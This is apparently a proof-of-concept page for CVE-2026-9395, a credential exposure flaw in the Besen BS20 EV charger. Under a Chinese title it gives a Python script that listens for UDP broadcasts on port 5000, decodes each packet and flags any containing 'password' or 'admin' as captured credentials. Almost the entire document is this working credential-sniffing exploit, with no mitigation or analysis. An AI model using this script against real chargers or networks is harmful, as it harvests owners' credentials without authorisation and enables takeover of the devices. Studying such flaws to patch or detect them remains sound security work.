CVE-2026-9395 Besen充电站凭据泄露漏洞

import socket import struct # PoC for CVE-2026-9395: Credential Exposure via UDP # This script listens for UDP broadcasts from the Besen BS20 EV Charger # to capture cleartext credentials. UDP_IP = "0.0.0.0" UDP_PORT = 5000 # Example port, adjust based on actual firmware analysis sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.bind((UDP_IP, UDP_PORT)) print(f"[*] Listening for Besen BS20 UDP packets on port {UDP_PORT}...") while True: data, addr = sock.recvfrom(1024) # buffer size is 1024 bytes print(f"[+] Received packet from {addr}") try: # Attempt to decode payload, assuming cleartext transmission decoded = data.decode('utf-8', errors='ignore') print(f"[Payload]: {decoded}") # Check for common credential keywords if 'password' in decoded.lower() or 'admin' in decoded.lower(): print("[!] Potential credential found in packet!") except Exception as e: print(f"Error decoding packet: {e}")